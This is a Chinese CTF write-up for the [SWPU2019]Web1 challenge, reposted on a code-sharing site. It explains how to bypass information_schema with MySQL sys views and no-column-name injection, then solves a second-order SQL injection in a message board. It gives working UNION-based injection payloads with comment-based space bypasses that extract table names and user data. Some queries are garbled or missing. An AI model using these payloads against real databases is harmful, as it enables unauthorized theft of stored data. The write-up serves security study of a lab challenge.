[SWPU2019]Web1


0x00 知識點

bypass information_schema

參考鏈接:

https://www.anquanke.com/post/id/193512

進行bypass之前先了解一下mysql中的information_schma這個庫是干嘛的,在SQL注入中它的作用是什么,那么有沒有可以替代這個庫的方法呢?

information_schema:

簡單來說,這個庫在mysql中就是個信息數據庫,它保存着mysql服務器所維護的所有其他數據庫的信息,包括了數據庫名,表名,字段名等。

​ 在注入中,infromation_schema庫的作用無非就是可以獲取到table_schema,table_name,column_name這些數據庫內的信息。

MySQL5.7的新特性:

由於performance_schema過於發雜,所以mysql在5.7版本中新增了sys schemma,基礎數據來自於performance_chema和information_schema兩個庫,本身數據庫不存儲數據。

mysql默認是關閉InnoDB存儲引擎的

注入中在mysql默認情況下就可以替代information_schema庫的方法

schema_auto_increment_columns,該視圖的作用簡單來說就是用來對表自增ID的監控。

schema_auto_increment_columns視圖的作用,也可以發現我們可以通過該視圖獲取數據庫的表名信息

想通過注入獲取到沒有自增主鍵的表的數據怎么辦?

schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer

payload:

 schema_auto_increment_columns 
 ?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
schema_table_statistics_with_buffer 
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

獲取字段名

獲取第一列的列名 ?id=-1' union all select*from (select * from users as a join users b)c--+

獲取次列及后續列名

?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+

限制:
mysql ≥ 5.7版本

般要超級管理員才可以訪問sys

2:無列名注入

參考鏈接:
https://www.jianshu.com/p/6eba3370cfab

在 mysql => 5 的版本中存在庫information_schema,記錄着mysql中所有表的結構,通常,在mysql sqli中,我們會通過此庫中的表去獲取其他表的結構,即表名,列名等。但是這個庫也會經常被WAF過濾。當我們通過暴力破解獲取到表名后,該如何進行下一步利用呢?
在information_schema中,除了SCHEMATA,TABLES,COLUMNS有表信息外,高版本的mysql中,還有INNODB_TABLES及INNODB_COLUMNS中記錄着表結構。
正常查詢:

使用union查詢:

就可以繼續使用數字來對應列,如2對應了表里面的用戶名:

當  ` 不能使用的時候,使用別名來代替:

反單引號表示列名或者表名

在注入中查詢多個列:

語句
一般都是:

(select `2` from (select 1,2,3 union select * from table_name)a)  //前提是要知道表名 

((select c from (select 1,2,3 c union select * from users)b))    1,2,3是因為users表有三列,實際情況還需要猜測表的列的數量

0x01解題

這是一個留言板的二次注入

登錄了之后在發布廣告處存在sql注入漏洞,我們輸入的內容在輸入后沒有漏洞,當我們發布廣告后查看廣告詳情的時候就造成了二次注入,從而產生了注入。

題目環境過濾了空格,我們使用/**/來進行繞過過濾了or,因此我們無法使用order by 以及information_schema這個庫因為過濾了注釋符,所以查詢語句的最后我們要閉合單引號

本題在但是比賽中
bypass information_schema
是利用的
 sys.schema_auto_increment_columns 庫來進行查詢
導致網上很多wp都是這樣寫的。。
實際上本題無法使用

buuoj的平台沒有 sys.schema_auto_increment_columns 這個庫
而且一般要超級管理員才可以訪問sys

所以一般還可以用這個方法

在buuctf環境中這個也不行
還有一種方法:

前提是users表存在
但是這個方法也不行 ,polygon和lingstring被過濾
那么我們看似有多種解法,其實BUU環境下這個題目我們只能進行無列名注入

首先,我們先確定列數:
1'//union//select//1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/

接下來就逐一的增加或者是減少列數就行了,一個一個的試,最后發現列數有22列,顯示位在2,3位
注意,在無列名注入的時候 一定要和表的列數相同 不然會報錯 慢慢試。。最后發現users里有三列

我們是采用的子查詢的方式,子查詢是將一個查詢語句嵌套在另一個查詢語句中,在特定的情況下,一個查詢語句的條件需要另一個查詢語句來獲取,內層查詢語句的查詢結果,可以為外層查詢語句提供查詢條件。
這里我們將users這個表里面的查詢的結果提供給外部查詢,同時把列名轉換成a,b,這樣我們后面就直接查詢a,b列就可以獲得結果

-1'/**/union/**/select/**/1, (select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

直接查詢b列試試

-1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

參考鏈接:
https://www.cnblogs.com/tlbjiayou/p/12014926.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM